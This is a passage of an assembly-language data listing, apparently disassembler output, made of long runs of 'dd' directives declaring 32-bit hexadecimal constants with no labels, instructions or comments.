		dd 8016052Fh, 70B4C54h,	0BD8D0C3Fh, 0B56C9651h,	6E518E7Ah
		dd 4611B808h, 0BECB515Bh, 0B194409Dh, 0A865A285h, 87E36613h
		dd 230EEC9h, 0C336D49Ah, 12AD33CCh, 633FA459h, 0A2A1D471h
		dd 0F3F9E24Ch, 24C03653h, 0E19191BFh, 7B878FFh,	8BAB05FEh
		dd 0FEF1B5D6h, 0B47663CCh, 6B7DE39Ah, 28452905h, 556E93F9h
		dd 0C8B9D94Eh, 8FE565DAh, 0F98EFC0h, 962B4745h,	8233EDABh
		dd 1E8C99D5h, 97FC81Eh,	7FBA268Ah, 8502FC35h, 0A9DA7CD3h
		dd 830BE952h, 0AD641064h, 0D3EBB607h, 8A88A60Bh, 0E57B9622h
		dd 0E2CA21F5h, 3401F462h, 4D8AA2D1h, 4D9DEE98h,	68AABE38h
		dd 48679D51h, 4CB5AF08h, 40ECB726h, 0FFD7A5C1h,	90156B81h
		dd 27DD1F3Dh, 26F70AAEh, 0EDEB5CA5h, 47A5A04Ch,	85CD748Fh
		dd 7F4B4AC1h, 0F16252E2h, 0DB334403h, 7D52B212h, 40CE4F70h
		dd 8BD61875h, 57394B35h, 1BCF2DD5h, 1224198Fh, 0C8175192h
		dd 0AF576CF1h, 0C51F8284h, 3E567B03h, 0B3D56783h, 37B5DB2Fh
		dd 5040889Ch, 5950F9E0h, 0EBDF562h, 2989C1BEh, 5C019ACFh
		dd 0E11C436Eh, 0AEE6B69Bh, 0ECFA3E2h, 22BE895Fh, 0B61059B6h
		dd 9D6281C6h, 0B621E071h, 68650222h, 0F8A3C586h, 0A6FC1527h
		dd 0E4BA08F7h, 0B0E33F48h, 0CDE42BFBh, 0B2E63918h, 12717F2Ah
		dd 0C7A7FB19h, 0BEC69E33h, 0A8C219AFh, 94FD6E65h, 0D5CC1AB4h
		dd 0FD91E47Fh, 0CB710649h, 69748EE9h, 0A45989BEh, 678EB923h
		dd 0B44DC3FAh, 2EC8F657h, 9EC8DD1Fh, 47CE8444h,	0A95F0958h
		dd 46B7E015h, 0A8CD84BCh, 9B266325h, 0B5C5E293h, 591B31D9h
		dd 0A18487D7h, 281580F9h, 3679EE87h, 52C8E6Ah, 5DEB6E78h
		dd 80D4BEB5h, 182DF6Dh,	0C1D2B1C3h, 23D5E78Ch, 65629410h
		dd 62A98734h, 72333A97h, 583CBFA4h, 6BE46CFAh, 93BDF14Ch
		dd 58836678h, 38593E48h, 0B3442DC2h, 0B0E3CE6Bh, 6295E750h
		dd 2BD19599h, 1B7862FBh, 51DF2606h, 0B56A6699h,	3EDF0ABBh
		dd 92CA8977h, 213F1FAh,	1BB75BECh, 5B1A0BFh, 491E2FE5h
		dd 3AA788Dh, 46C64E13h,	30960074h, 0EE6C7143h, 15753119h
		dd 14AA921Ah, 8ABBF59Ch, 0BC81894Dh, 325BB648h,	0D60D04BAh
		dd 0B5846A8h, 2148E417h, 0CCD8991h, 5829E4B5h, 0EFF0AD49h
		dd 4777D382h, 25F42264h, 36D6E7BAh, 4C0F864Dh, 64499928h
		dd 0AD20E143h, 0FB39BFFCh, 0F9091B7Eh, 0F26C2160h, 74DB7406h
		dd 0BAC1C8BEh, 0F4DF7603h, 0B1BC7168h, 50175A5h, 6D6DCC5Fh
		dd 276E6141h, 6B385854h, 5CA43C94h, 0A95C6AAh, 0B95867Dh
		dd 195C49DDh, 50AAF4CBh, 0E3C06774h, 0FBC5DB0Fh, 3F53AAE4h
		dd 76F827A8h, 419C36AAh, 20D4A55Fh, 0F4E8D76Ch,	6E0566D3h
		dd 2E7A8959h, 0A93BA8B9h, 0E0823FF8h, 0ADE0DD69h, 0AC905065h
		dd 3E4B9501h, 0B9C0454Bh, 9F0C283Eh, 971A084Dh,	0DEDEFE6Dh
		dd 9D4BF7Eh, 90E68C80h,	75A94625h, 6848E831h, 383439D4h
		dd 0F2E9FF73h, 0B628A223h, 13A7A8C6h, 0C444A0h,	0B5B6578Ah
		dd 0CF29E700h, 0E6E5C906h, 0DDD6DF24h, 0B375977Ch, 0C6B41278h
		dd 0EEFE6796h, 0B1CB7BBCh, 0DE6FEE3Fh, 60374C12h, 4A545981h
		dd 51A2069Ah, 0BA8CC211h, 0FADFD1ACh, 0AC4593DBh, 3F0F91A0h
		dd 0B2DA562Eh, 7284FCBDh, 0B30AAA1Eh, 2D682BE3h, 0D4CDC05Fh
		dd 854DFEF3h, 94A239F3h, 7C2C5DA8h, 4341C58Dh, 7209513Eh
		dd 850DECE9h, 546DDC42h, 86479575h, 0F2A54DC9h,	1556484Dh
		dd 0F4379739h, 0D39668D1h, 9301F28Fh, 27AE2354h, 0ED8D7493h
		dd 0EEC64740h, 0DCF7BA9Ah, 709715Ah, 3AC22333h,	3EDEDA6Eh
		dd 2F30A5E0h, 0FCFA5DC7h, 7585D464h, 0CCB1E8DEh, 113EFA20h
		dd 508DB276h, 2F924C83h, 44F61C9Dh, 606A5A7h, 49FFC62Bh
		dd 0BF8E14F2h, 0E8845E92h
		dd 0B7156019h, 0F8FD4D9Eh, 6D9A3839h, 407B3EBCh, 90E93013h
		dd 1F92BD06h, 94DC0727h, 3D596D50h, 0AF258CD5h,	681C9E69h
		dd 0F5849C64h, 0E8543D90h, 19533D62h, 66B41ED3h, 9EB8711Ch
		dd 4AE52B34h, 2C0F518Bh, 2974F7A3h, 0EBBB4DF7h,	302ED23Fh
		dd 0D61CE092h, 4E9A6EDCh, 0DD1C5790h, 75BAFF9Fh, 247B30B0h
		dd 201465C0h, 0CF045E24h, 67BE9585h, 0A246ACD5h, 347E4739h
		dd 683CA9Ch, 0E3BA8C44h, 0A40B80E8h, 40A52FD4h,	0EBDF89ECh
		dd 7FD292Dh, 0DA30708h,	4B8F47DEh, 48B52D17h, 0A80DADE0h
		dd 0CF131959h, 3FFA6F72h, 0AED033F7h, 5FC8B97Fh, 6BC6ED91h
		dd 0A8DA0536h, 0F2BC5A02h, 0E8F2A762h, 0F169398h, 0F26C2C49h
		dd 0DEE9EACBh, 0BB21A6F2h, 344B41BAh, 0DB506BB1h, 40B9967Bh
		dd 9051BBFCh, 0BA0FE83Fh, 456F556Ch, 3F65DE50h,	5591F328h
		dd 0EF63DCB7h, 8CBADCD7h, 59F21367h, 0B3F56FF2h, 0F0EEFBEAh
		dd 0FEE8D9AEh, 2A2451FDh, 741C612Ah, 5D9DF093h,	859EC881h
		dd 3C28D0EFh, 0A0CA513Eh, 81B846E3h, 0D18D542Fh, 0E14DDE49h
		dd 2D112BC5h, 0A6708A75h, 95A9C218h, 160E82B4h,	0E8467AAFh
		dd 0F5291E1Ch, 3695EACCh, 80154932h, 0CB5FA852h, 18B7360Dh
		dd 7D56F3ABh, 770B717Fh, 0D7F5BE23h, 6C59CBF7h,	0E7DC218Bh
		dd 5EAFD6EEh, 5C1E0099h, 7646F0F0h, 77D4BA0Ch, 5F2C5730h
		dd 0B08D0DA5h, 0BC194CE4h, 14CC3C0Fh, 38CB5C61h, 853A150h
		dd 0CF14EB12h, 0BF4A6F3Fh, 0E82A10FEh, 0C81E9369h, 87481CBDh
		dd 0D0AA69B6h, 1F9821CEh, 5C287B3h, 5E2E4AC2h, 8BAD6D6Fh
		dd 0DBDB5CAEh, 0CB5F46A9h, 2E936E7Dh, 6D10124Ah, 777FCA5h
		dd 6C37B5FFh, 451D0ED6h, 6AF300Fh, 4553A1D4h, 0B77FF7ECh
		dd 0B77B6E4Fh, 263E3399h, 0CEC9D83Dh, 1F6E3A10h, 5FC5CBC3h
		dd 7AB988A8h, 0B447072Dh, 0E57B8FB0h, 2B1880E4h, 0C6857621h
		dd 3437A750h, 2F05DE7Dh, 31AF0019h, 0E7CEB9A2h,	0D1A2CA8Dh
		dd 0DC962AB6h, 39B496EEh, 0F46EE0F0h, 3A913D60h, 6D8BD951h
		dd 601EFEC8h, 5F0BD204h, 0B4C3008Ch, 2AC0C68Dh,	8A29E05Bh
		dd 46EE80F9h, 2098624Ch, 5DA69282h, 0BD2D11CFh,	0FC60130Ch
		dd 4D5C75C9h, 51D956B7h, 0DE4F000Ah, 4FCD99BDh,	487AD7F0h
		dd 0C92E7B84h, 5822E243h, 0DADC3DBCh, 0D156C7BBh, 0A14BDA40h
		dd 0B61647D0h, 5D9B0174h, 80AE0D88h, 57BC94F2h,	0C228ED07h
		dd 0F7377413h, 70AB46Ah, 5844E0C0h, 79D75165h, 395EAD18h
		dd 6F692710h, 0B21131F8h, 1014A058h, 0E8E0F8CDh, 61C7D870h
		dd 57406F39h, 5B8C13D8h, 0D6428455h, 0AA966EF8h, 5CC35A0Eh
		dd 0C6E050BCh, 0F19AE36Eh, 169E873Fh, 0BD765AFEh, 9D87529Dh
		dd 0F19769CBh, 0D1E29311h, 961ACDA2h, 0CB678C49h, 37992D4Ah
		dd 13370BA1h, 54156BD0h, 60C43675h, 0A881FF61h,	0D5A75567h
		dd 2419EAC1h, 821B92A8h, 9EA03611h, 9DDA068Ch, 66102369h
		dd 1E491E9Bh, 16CFEF5Bh, 0EA257A0Ch, 0CB9EE826h, 39C75335h
		dd 42A85A28h, 21450019h, 0B27A9602h, 96FE8CCDh,	7C56A813h
		dd 1F38D2BFh, 1EF080BBh, 4AD739F1h, 8F4467C0h, 7B55BD2Dh
		dd 0B636A8DAh, 54101F41h, 89E4EC38h, 0A5B388FDh, 0A1C327F4h
		dd 0A29E584Ch, 0BADD6102h, 0B1966E0Dh, 49D290E1h, 704643A3h
		dd 0B3709C1h, 12001C30h, 0CDA316C1h, 0E4CE4615h, 25A18B5h
		dd 0A5FDDB74h, 4B334837h, 0F453A9FEh, 5DA04763h, 34BBDC59h
		dd 0E9AFBBB9h, 0A88AF22Ch, 47B932E8h, 3E298575h, 4F751E92h
		dd 0AE1EDE1Ah, 0BD83F040h, 0B68ACE49h, 321FFDB5h, 93653EA9h
		dd 5C17AC97h, 0F2682817h, 0ACE79A66h, 0A16EF9BAh, 2D1B3E82h
		dd 66C2ABA4h, 8DD0C4F6h, 0ECDEF3F7h, 3F9E352Dh,	0AB91B6D0h
		dd 0C1397A71h, 0F7230823h, 0C3797E0Ah, 34B47079h, 7C611A20h
		dd 42A37F46h, 8ADD93E2h, 2DA04CE5h, 0C2B7B152h,	32EBD570h
		dd 18052691h, 871DC370h, 0EDB4ACFFh, 3D3C6D69h,	2BE9ACE9h
		dd 962F0F3Dh, 0A99F1993h, 57DFACB5h, 0F182994h,	2FAE0DCEh
		dd 6354CA05h, 8C6E1803h, 4D408CDEh, 7AB9996Ch, 805A4B1Dh
		dd 7131F4D5h, 5C78FF18h, 885A24EBh, 0EE16584Fh,	0A976A8F2h
		dd 4C3AC297h, 0F944A0CEh, 0E468EFEDh, 85AC4AE1h, 6952F684h
		dd 0D2282E5Eh, 36524B2Ch, 0FB43BF5h, 0A58E6CACh, 0FFF25834h
		dd 1F825F20h, 7BD65400h, 0F5C24B7Ch, 0FED1A6CDh, 0F9D11C9Ch
		dd 9CD12621h, 23559C13h, 0FB87286Dh, 0A78620A7h, 6BEF3155h
		dd 0BABE8189h, 2F0F4EF4h, 0A39E04Bh, 0A1EC0732h, 9C87D4C3h
		dd 3AC989B9h, 0AF950970h, 5E9A196Dh, 2B0C515h, 0FFFAF20h
		dd 0DE59E5C2h, 0CF2A1C87h, 5960E242h, 3AE210B0h, 4564CBCDh
		dd 143D1C82h, 0E978A37Eh, 6CBB55DEh, 0A5A87C18h, 0F79A5E9Ch
		dd 0B2F49315h, 763A3C70h, 0E3D4EBB2h, 1EA07980h, 0D4686AC1h
		dd 1C8C4295h, 9DB3E38Ch, 299A3FD0h, 0B9B45E0h, 0C098ED4h
		dd 0A5841FA8h, 36905C8h, 0CC9BEAD4h, 0DC1C8F50h, 76D3F0EEh
		dd 110616FEh, 5C8F6790h, 4E570204h, 0FA1AE19Bh,	0B16F9CDFh
		dd 2D32F375h, 0A51F506h, 0D17FD734h, 32D029ABh,	0A9609B67h
		dd 0F83753F5h, 7BDDA2Dh, 0D88AAA8Bh, 0BBEE09EAh, 7F0B3FE7h
		dd 7C183278h, 0D3044A1Fh, 752C002Dh, 0BF48A65Fh, 84F13E77h
		dd 2DB87478h, 0A0CA9286h, 0FB9A70C8h, 0F5AE5F43h, 93067448h
		dd 262757A7h, 3A515F5Ah, 4CA9A7B2h, 0FA23EDE5h,	3C23F472h
		dd 3C5CF15Eh, 0CC808F54h, 36B93B0Bh, 0CE52719h,	0C3871876h
		dd 8FED7D6h, 4074397Fh,	0CB592AC2h, 683871Eh, 0A3309CC8h
		dd 3A2367DFh, 847BEFFFh, 1B3D0EB3h, 0DF97B363h,	0A97F294Bh
		dd 42CF1A6Ah, 7598B59Dh, 79DCAF34h, 0FF84AD4Eh,	0CAAD8CEAh
		dd 0EEB2DA93h, 0B9EF9B1Fh, 746DA8EFh, 58D2AC71h, 0BE990FA0h
		dd 0E799CDh, 6BDABBA9h,	0EE164087h, 2FE9D826h, 598D067Ch
		dd 6BF39FBCh, 1256CD94h, 3CAC82C5h, 0E8F2EAE6h,	8222CF86h
		dd 0C0A3A67Bh, 18D3968Eh, 7BA8B83Eh, 0B4BAF30Dh, 0AA432917h
		dd 7BEACCEAh, 0D81F945Ch, 60C1A51Dh, 279AA159h,	0AC90C3CCh
		dd 635E3C7h, 0A02F7438h, 30E94DFEh, 8AB28EE5h, 0A0CE63CDh
		dd 0F3A80D17h, 0B1CF101Bh, 40A05046h, 0B6E420B4h, 0BD9911C8h
		dd 0D341DDBEh, 0B2DAD4DDh, 5A6D7093h, 7281F8C0h, 0B781A6C8h
		dd 0EF0021F4h, 96720CB8h, 95927418h, 0ABB11BF1h, 0B4442A1Dh
		dd 551D229h, 0EB80275Ah, 6C56E59Ah, 13F521D4h, 7C566529h
		dd 84C060FAh, 3988F098h, 340BC2DEh, 0E4AF9F94h,	0EE2EFEFEh
		dd 0FA396795h, 1A19617Dh, 0CE471AB9h, 0B570D958h, 93866990h
		dd 0A8CBB6CFh, 5E3826D2h, 9A1D79C2h, 6BD855D5h,	0D3C5E8DDh
		dd 44024ABEh, 0AD01C2C0h, 915F182Bh, 753E88E1h,	2C94D76h
		dd 0A5F98DEFh, 24EB5811h, 31B4341Ah, 0D4EDC932h, 0D73DFD90h
		dd 57B47B53h, 5621ABBh,	2E4F50C1h, 0F9CA6765h, 5B231D9h
		dd 0EF59B096h, 0AA235B21h, 0DD678B88h, 5C2F74F5h, 6921F3Dh
		dd 34115493h, 0A69F0FBEh, 81987FA6h, 683DB376h,	4DCB06FAh
		dd 0C41E0D92h, 0C59778F4h, 5999EA28h, 0EE246EC7h, 0CEE90129h
		dd 0ABAA440Fh, 0FB7133Fh, 5D8D0511h, 97BD11D5h,	0D8F31F4Dh
		dd 3568D949h, 9508BC5h,	0F4E3A48Eh, 449182E6h, 0FA786EA9h
		dd 0B07F7079h, 0E81379A7h, 0B1529E3Bh, 0AD1BCF23h, 1662DF48h
		dd 66346756h, 0A4F7F827h, 0CD04DD58h, 603A1239h, 0EC0A8A4h
		dd 0E96CB517h, 64AF6FF3h, 0B1069702h, 1D7684B2h, 44E6D40h
		dd 5D6CF84Dh, 5B05CCE4h
		dd 7B57074Ch, 61987961h, 0F7AA29AAh, 0F38CBAA5h, 0FC9141A8h
		dd 52FCBD37h, 200FE864h, 17F9D0AFh, 3FB0AFB3h, 71AAC3D0h
		dd 2599E7CDh, 0B6DC4562h, 3382ADCCh, 0A5A5EBAFh, 0C02D6000h
		dd 24807530h, 0A2FD3659h, 4A9D087Ch, 6B2673A9h,	51C190D7h
		dd 20FA52CDh, 4C1DF8A2h, 414D3937h, 0AD728870h,	35155AC9h
		dd 0F6C533BDh, 0E39AB2B1h, 40ED7E6Ah, 0BA05F578h, 1959115Fh
		dd 837E00CCh, 0FA0B70AEh, 5266510h, 7FBE18F1h, 1905B1FDh
		dd 0BD16D4A4h, 5B4DF18h, 0E6A5811Fh, 0AF2DEA52h, 48151CC0h
		dd 0E8979160h, 18133B87h, 7A8E6803h, 0CF276A46h, 0B0402B98h
		dd 6596BD7Bh, 1DFF23E4h, 5AB07843h, 0C39CD1F7h,	3103D0A9h
		dd 0A47E9245h, 707C2698h, 7FE2C43h, 3F785A6Dh, 0D5FAF46Eh
		dd 0E3B6D171h, 0F3231450h, 0E94D4A3Fh, 4BFA10A2h, 0CB99A2CFh
		dd 0BB973677h, 9F05BDF3h, 669DC7E7h, 0BDC3902Fh, 7986EC74h
		dd 84F199FFh, 0C0DD9952h, 31499D85h, 7ACCAB31h,	7D906E3h
		dd 76E8C10Bh, 0B8160C95h, 754F074Ch, 2794C9B9h,	80189F6Ch
		dd 1B1AF87Ch, 217F11D7h, 7A339800h, 1F819209h, 41185EB2h
		dd 2452AFDDh, 41D59DB2h, 9E69DFDCh, 7BF1AF6Bh, 4A668330h
		dd 0CDD78250h, 0A44A5106h, 0F0DD7E43h, 0C106427h, 3F3FCDF0h
		dd 0D904BD85h, 0A89EE4EFh, 83ED4970h, 0E6E8C6B8h, 8C64A940h
		dd 8FDB35BAh, 0B779C06h, 7D2C777Bh, 60DC4D1Eh, 0ABC479EBh
		dd 20F53DEBh, 3F9B22DBh, 22BC9161h, 0E87EFEFh, 22D62584h
		dd 74A84DB7h, 11BAA04h,	0E43AEAB1h, 5ECA2DCAh, 0B2BC4C4Ah
		dd 0ED6FFCC6h, 944B0F6Ch, 0AB3D1D4Ch, 0DF4F4DF3h, 6AD6542Dh
		dd 8AC7DBEDh, 0B029A03Eh, 8746DD41h, 7361B73Dh,	4FD12BECh
		dd 9FE249ACh, 618AA29Dh, 0E843BCB8h, 56B9B523h,	7A7C75EFh
		dd 6008669Eh, 0B903BF43h, 24D394F3h, 4AF80238h,	0AFB7865Bh
		dd 954B3F33h, 4717ED26h, 0B28C559Fh, 7DDA447h, 1DC0F402h
		dd 9274EA9Fh, 0DB29529Ah, 0AE76601Ah, 731A671Ch, 0ADEC6BECh
		dd 44330FCEh, 4E354C5h,	58909B77h, 2A6D484Ch, 56DD52BDh
		dd 0EF01ADFBh, 0DA05E5EBh, 0BDCED6CEh, 4F47D2B3h, 0E280802Dh
		dd 0F905CE8Ch, 0B98E5C72h, 783B6819h, 0E1CDCF47h, 0C431299Ah
		dd 0B37D16E3h, 4B1F1DDCh, 7A840150h, 0EDDC99F8h, 0F374FA7Eh
		dd 0BF991CB7h, 167277DFh, 4ADBA567h, 0A33F4793h, 7439EF8Ch
		dd 14AAEE7Ah, 8EB7FEADh, 72628CEBh, 5A552441h, 83E8B904h
		dd 8508ED77h, 71F05443h, 47C3DDACh, 503B4ECFh, 0A8A1F30Ah
		dd 0ADC73B09h, 9864592Fh, 86514C8Bh, 64602408h,	916F5EDBh
		dd 0ED58B797h, 8BF3648Dh, 0D6080E33h, 0A83AF715h, 0F4C362E8h
		dd 5B584EBBh, 380298DDh, 1925D5B7h, 98EA60A5h, 0FB813288h
		dd 619F3F0Ch, 0FB1A5CD5h, 28477CFAh, 2DC1E4BBh,	0BE03AEC3h
		dd 8DC59E55h, 61140D27h, 4794F21h, 84FFFE4Dh, 3431E16Fh
		dd 2AEE106h, 3EF58477h,	435B930Fh, 0BF1B8F48h, 47D079AFh
		dd 660C6C5h, 0DFE60BD0h, 83BBD2B6h, 101A59AFh, 0EDBC96DDh
		dd 9D2919DBh, 0C03D389Ch, 4B3B5EBEh, 0C2BCE896h, 44219669h
		dd 0CA607ECCh, 95FDE6B7h, 53F168Ch, 0CCFBA1B3h,	0E7B9938Ch
		dd 0D1360ECEh, 10371AC0h, 0AF028296h, 6D41A4E7h, 0D895CD04h
		dd 0AAC64948h, 1BE08A3Ah, 616A155Eh, 781FEFCDh,	7519E65Fh
		dd 0F3918433h, 5EF50BAFh, 65E38E2Fh, 0D8D19B75h, 9D6B19C8h
		dd 0C0B72757h, 1A514B71h, 0E7D84515h, 0D961B1CBh, 343B7987h
		dd 1669768Ah, 40FBACDh,	0D61E9684h, 29382ACh, 74AF7209h
		dd 2AB27DC7h, 4D1470AAh, 0CDF09D3h, 0F4D0D189h,	28CBFCE3h
		dd 44D7B56Ah, 49B740F5h, 0B70A324h, 0C36B23F9h,	7AB86B10h
		dd 0C93D9A3h, 23959B53h, 2AB1BA0h, 1BA1199Dh, 0D1E9BD99h
		dd 8312526Ah, 16A695D0h, 0AF19468Dh, 0A118960Bh, 27DDCBC0h
		dd 87BE135Dh, 1AD6D6A2h, 0CFEBE0A6h, 86D5534Ah,	0E28B379Dh
		dd 77C3EE6Fh, 9A52883Bh, 0ABB05AE0h, 6E0AE91Dh,	59850420h
		dd 0E683D0DDh, 0E555AFC8h, 74BD83E0h, 0DBDDAF1Eh, 26C056B2h
		dd 0E9635530h, 0C278BBFCh, 0CDDA6567h, 12C81A14h, 41F6ED4Ch
		dd 445BBBAh, 0A23EB5AFh, 4754A163h, 0F9746F0Ch,	0F1B4F48Bh
		dd 29FEF566h, 39BC2824h, 75787731h, 0B0FCB111h,	48661113h
		dd 0DE5E7A5h, 0DA6FB446h, 2CB5B117h, 7BFC2A21h,	6A9714B1h
		dd 4C2DA3CFh, 2FBC0B71h, 0DE183045h, 0FDFFFF26h, 0A7F758h
		dd 0
		dd 0FCFD6F00h, 14EA2E8Dh, 0C1636CFEh, 7E1D53DEh, 8DDEE39Ch
		dd 38351478h, 0BEEA7DA6h, 9FEF4D14h, 0ACF9CDB5h, 0F1ACC4C0h
		dd 9672D07Bh, 20D59DD9h, 46E7860h, 759D7C7Ah, 0AFCFB7DEh
		dd 29FBB2A9h, 9A73AFB3h, 7AEB27B8h, 0BB870F77h,	0DD6A8D7h
		dd 9C59E5A2h, 761D6BC3h, 65273A50h, 273C2FBEh, 95334222h
		dd 0EB113FCCh, 2F69AC2Fh, 9A59C680h, 0CDABA4CDh, 0F929B8B0h
		dd 92C8A1EAh, 0A354BD55h, 552622F9h, 476DFE82h,	4C4162FAh
		dd 81B7BF1Ah, 0C19E0F64h, 577208EAh, 0EB9DD29Ch, 12E4F417h
		dd 0E4398DEAh, 926A5143h, 3FF6F23Ah, 3EB0FD84h,	6904547Ch
		dd 6E59B2Eh, 420DA4AEh,	0A2A5A8DBh, 0C78C9C76h,	10952001h
		dd 0DB6144A7h, 962D38A9h, 43BD1F43h, 0CD9AF4F8h, 0FC9CF595h
		dd 23E2A62h, 0E72DDB0Dh, 6A8603E3h, 39B429A8h, 0FFB35F53h
		dd 5DD95B63h, 1301D96h,	81D514EEh, 0B479D29Ah, 0EFE0B043h
		dd 0A8F6FB65h, 12BC9F94h, 0E3D0EDBEh, 7286818Eh, 60AC8C81h
		dd 23DB8762h, 0B230E748h, 98E79582h, 84E6E50Dh,	6AB32FFh
		dd 2BAFDF83h, 616EF555h, 5400449Ch, 58B43BD6h, 69BB5DEBh
		dd 0EA6B0456h, 3FC0ADCCh, 88971F15h, 79515D7Dh,	0B2028EC1h
		dd 7C07F040h, 916FA5B3h, 0DBBBDDA9h, 8F7C309Bh,	9E2C2CC5h
		dd 0F4D1B47Ch, 328A5A88h, 0AB157039h, 7F78119Eh, 0F7A2361Dh
		dd 0AE318500h, 0F03E3A4Fh, 372DDCB7h, 27BA6D66h, 0CA7D4EBDh
		dd 26C5C1AAh, 2469E647h, 5B38E3EAh, 82D422C0h, 957426F8h
		dd 5A25A7A5h, 7E1CA1CEh, 0EAA2E211h, 34362061h,	54AFAFFh
		dd 9A2700FCh, 1CECAFC2h, 0EB770FE0h, 60DB5AD5h,	0EE5B7B71h
		dd 720C9135h, 82B43BE6h, 8A486A42h, 2F8196F3h, 1663F8C6h
		dd 79F8429Fh, 71C2DAFFh, 0EC389F39h, 0AD7A4C09h, 8D0B25FBh
		dd 3C21C1A0h, 2BDFFBAEh, 3249EED7h, 0FBAA332Fh,	3522938Ah
		dd 0F4237EEFh, 49D0FB3Eh, 0B18CEE37h, 901ABFD6h, 222B13Dh
		dd 7A1CCF09h, 4B8D5EE9h, 0BC4C0A1Fh, 868B26F2h,	4F9CAD11h
		dd 0E6B25992h, 0BC5A53AEh, 0C51764DDh, 0F339FCF0h, 0BAE72C33h
		dd 474300D9h, 80B0F334h, 2CB4895Dh, 42C366C2h, 8EE7FAA2h
		dd 541E2FBBh, 0B0D516D0h, 190C448Ch, 15047513h,	0F72335CCh
		dd 8D118721h, 5EBFC9B2h, 0BE53F821h, 4AA900CFh,	16D02CD2h
		dd 0BD21A9AFh, 0ABCBA70Ah, 0A795EF4h, 7B22A5C8h, 95B3A861h
		dd 0AB3708CFh, 520DCCBh, 0B8CB87Ch, 0AB6A57C8h,	657A8B3Eh
		dd 0BB7D933Ch, 0DC0C86C3h, 92B3DB32h, 63AE71F0h, 9393FEA2h
		dd 227F1FA1h, 0AA27D57h, 31EF1708h, 8586DA8Bh, 7B864DA1h
		dd 0C9411CA4h, 211F472Bh, 0E6A42650h, 7C064E9Bh, 0E1781163h
		dd 524F8273h, 304A4E96h, 15ECC49h, 970E2C1Ah, 3C954D13h
		dd 74209082h, 0A9C8B25Ah, 2F701268h, 21B4D03Fh,	0AA28E3DDh
		dd 656E13E7h, 4C227103h, 9F881842h, 4C06C803h, 1C2A075Ah
		dd 1D1D5CAEh, 0D143EF31h, 6F15819h, 0D2C43B96h,	68C3FD3Bh
		dd 40C53D80h, 4FE7A459h, 0A27A8E35h, 0C30AC01Dh, 0FCBC1324h
		dd 209D1CFCh, 0EE146061h, 322201BDh, 0A01854AAh, 2F808A98h
		dd 0A34A86EDh, 5BA7CDFDh, 0DCB18B27h, 0EA920B35h, 9F6B563Bh
		dd 0BB504F31h, 0B0050A53h, 190AE5F5h, 3B31FABFh, 877709B7h
		dd 71684283h, 852D17F7h, 0F89EBC57h, 0AF683538h, 810033EEh
		dd 55110489h, 0ADE0E7E1h, 0FE7B91AFh, 0BC84D3B3h, 2C3D20A2h
		dd 0DCF929B8h, 2CA61166h, 9766FD95h, 63048CBCh,	0D4CE2FAh
		dd 0A65FDF38h, 0A34B1947h, 0BFE1069Fh, 2A0E62C1h, 6CCDCFC4h
		dd 48D01B39h, 1F714196h, 16A1821Dh, 305BF42Bh, 0E2357F99h
		dd 0EBCD8050h, 9B1C7D3Ch, 4E571CE9h, 8348FD7Ah,	54E88979h
		dd 66F18677h, 7E2AD87Eh, 1586FEA1h, 681BD7C1h, 0DC7C84E8h
		dd 0A76FA8A9h, 0BFDF881Dh, 1E91091Eh, 3B41A788h, 15A3122Ch
		dd 6049DBB2h, 2C525A36h, 677D2B4h, 0E917B577h, 672C93ECh
		dd 9DCDC4CCh, 833EB4F3h, 44FFC7AFh, 89B1FFC5h, 2330F17Bh
		dd 0B17BAD48h, 0C4C90643h, 94D9A02Eh, 26BB2F99h, 0AA53DB2Bh
		dd 0FF82C177h, 6BB8989h, 0D28D7441h, 8B1DBFDEh,	9F462F33h
		dd 99922BE0h, 0DBCC0988h, 8C6E101Dh, 0AA75EB84h, 0D68463D1h
		dd 6BFF8D5Eh, 0A2F07B0Fh, 29CB2760h, 0C396590h,	777E5F3Ch
		dd 22A15116h, 64FD9A98h, 0E495B736h, 0B45745B1h, 0E9B1BDB0h
		dd 8FBB0C49h, 0FACF3B44h, 0A324313Eh, 930A85C8h, 3040B608h
		dd 8CFB12ACh, 7BEAC519h, 0D0D3370Dh, 9667014Dh,	0B03629E1h
		dd 0A829CDEh, 0B5341045h, 59B92A43h, 0CB1C360h,	0CFE5BFFDh
		dd 0F6DDE94Fh, 353F05ABh, 0F0351164h, 5F0C090Dh, 38DD7BF6h
		dd 0F882A2A1h, 2808AE34h, 54220541h, 2D5B13FDh,	0A5B63E47h
		dd 0CAF7B678h, 0D9A391C6h, 0A6C8FD0h, 486B25ACh, 0F553238Ah
		dd 8477EB04h, 2000D8FFh, 31E335F7h, 9C2A0CF9h, 0E99C1BBDh
		dd 0DD7732ECh, 0F0264745h, 8470C92h, 56864898h,	0CF91FECBh
		dd 0C0DE294h, 46F636C3h, 53D71774h, 2D6F55EAh, 0CADD0A70h
		dd 33FF9A8Bh, 7F952070h, 0FD524C47h, 25D7DA89h,	66991542h
		dd 0BB055027h, 2E1E2935h, 777F3E1Eh, 16D4DC7Dh,	8316C322h
		dd 69B10E46h, 0D85537D1h, 0F5DCCFDBh, 0C0C20549h, 3357D80Ah
		dd 92378EBDh, 615E83EFh, 441BE22Dh, 26551B96h, 0B2A59545h
		dd 1CCFB37Ah, 0A66ED292h, 9349EB76h, 0ABECD98Fh, 0B04C367h
		dd 0E82F042Eh, 240F91BFh, 2889780Ch, 7FE8744Ch,	5DEDEBA1h
		dd 9D972094h, 2AEEFED7h, 0BCDF2747h, 0DAA8DF8Bh, 0B80975AAh
		dd 6AEF41FAh, 59573578h, 0AAEB3DAh, 0E671DDDCh,	3893054Ch
		dd 94FA7A85h, 80BC9FC5h, 88479E5Eh, 0AACA7287h,	731D8F42h
		dd 64697862h, 0B0A968BBh, 71B1A9DFh, 76A9EFEDh,	8CEAF5D2h
		dd 8323A51Fh, 7A964AC9h, 5800BC48h, 8869414Ah, 0B6819579h
		dd 427868B0h, 0C1E2CDBDh, 301C79DBh, 105A60C9h,	53FD0C8Ah
		dd 2D8D3347h, 514CBA2Ah, 0F0F872E6h, 0F63CD057h, 0FB7271FAh
		dd 6A0ACD0h, 0C99AE79Ch, 0BF21ECF6h, 0CF4C0FEFh, 4855C130h
		dd 0FEE3809Eh, 182179E9h, 94F8225Ch, 3535425Ah,	8366BFACh
		dd 660CC093h, 3A506DF8h, 0F39B3227h, 0F6395462h, 9F536E69h
		dd 238956DCh, 49B5FC17h, 62F5C057h, 42001B01h, 5E34572h
		dd 3642CC10h, 0A7F29431h, 0BC4DDD84h, 8885B5A9h, 0BCEFC7B7h
		dd 1BAAC896h, 34D91A54h, 93593815h, 74A8F7EEh, 0A1AC927Bh
